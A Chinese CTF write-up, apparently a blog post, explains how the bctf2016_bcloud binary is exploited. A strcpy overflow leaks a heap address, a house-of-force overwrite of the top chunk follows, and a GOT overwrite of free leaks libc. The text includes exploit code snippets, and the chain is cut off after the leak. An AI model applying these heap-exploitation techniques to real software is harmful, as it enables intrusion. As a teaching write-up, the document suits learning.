house-of-force-bctf2016_bcloud

本文详细解析了bctf2016_bcloud挑战中的漏洞利用技巧,包括通过精心构造的输入覆盖top chunk以实现对堆地址的控制,进一步通过修改ptr_array bss段地址获取shell,展示了多种攻击手法。

题目:bctf2016_bcloud

不得不说这题细节做的真好,如果不认真看还真找不到利用点

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TP0vrBX0-1643304186511)(house-of-force(bctf2016_bcloud)].assets/image-20220128010314241.png)

分析

main函数:
在这里插入图片描述

add函数:
在这里插入图片描述

因为在malloc是加上了4所以通过这里off-by-null行不通

dele、edit函数没有常见漏洞

重要函数

0x80487A1函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IVxiAaOx-1643304186513)(house-of-force(bctf2016_bcloud)].assets/image-20220127213517224.png)

0x804868D函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Se1bK72S-1643304186514)(house-of-force(bctf2016_bcloud)].assets/image-20220127214049019.png)

注意看我注释上面的序号

当我输入长度为0x40时,经过read函数会在后面填充一个null字节,但是因为原本这块栈空间本来就经过了初始化全是null,所以并不会对数据造成影响,到了第二步malloc时此时ptr指针恰好就在ebp-0x1c处,也就是刚好相差0x40的距离,且把ebp-0x1c处的null字节的覆盖了成为自己的指针,第3步通过syrcpy()函数就复制到ptr的数据区里面了,这个函数会在遇到\x00也就是null字节停止复制,那么此时因为小端存储数据的原因,就刚好顺带把ptr指针给复制进去了,经过第4步给打印出来了,这样我们就有了堆地址。理解图如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ez0eqPfG-1643304186514)(house-of-force(bctf2016_bcloud)].assets/image-20220127220053844.png)

0x804884E函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jqFNfaIH-1643304186515)(house-of-force(bctf2016_bcloud)].assets/image-20220127222928686.png)

和上面一样当org填充满0x40时(无\n) 栈空间—> ebp-0x9c+0x40 = ebp-0x5c 此时从ida中可看出ebp-0x5c处恰好放着ptr2指针,然后更巧的是 ebp-0x58又放着host的值,在后面经过strcpy(ptr2,org)函数时那么就会将org+ptr2指针+host值放入ptr2数据区,从而就覆盖了top_chunk,(因为是32位程序SIZE_SZ为0x8所以很大几率不会有、\x00字节也就不会发生截断)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vOgB2GWL-1643304186515)(house-of-force(bctf2016_bcloud)].assets/image-20220127222828261.png)

那么经过上面分析exp可以这样来:

def init(name,org,host):
    global heap
    sa('Input your name:\n',name)
    ru(name)
    heap = info(rc(4),'heap',32)
    sa('Org:\n',org)
    sa('Host:\n',host)
    
init('A'*0x40,'B'*0x40,b'\xff'*4 + b'C'*(0x40-4)) #覆盖topchunk

成功改写topchunk值如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FNRbPpsA-1643304186516)(house-of-force(bctf2016_bcloud)].assets/image-20220128010912311.png)

其实这题做到这里就大概结束了,感觉用法和house-of-eniherjay差不多(改topchunk->ptev_size为目的地址偏差),而house-of-force是改topchunk->size位为0xfffff…从而达到任意地址写入效果,后面就是根据保护措施制度对应手法了

然后就是将topchunk分配到ptr_array的bss段处 exp:

target = 0x804B120  #ptr_array bss段地址
top = heap-0x8+0x48*5
add(target-top-0x10,'\n')

如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KdCevIAo-1643304186516)(house-of-force(bctf2016_bcloud)].assets/image-20220128011536932.png)

然后就可以各种操作了,比如泄露libc后直接修改free的got表 exp:

payload = p32(e.got['free']) + p32(e.got['puts'])
add(0x20,payload) #泄露libc
edit(0,p32(e.plt['puts']))
dele(1)

libc_base = info(rc(4)) 
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值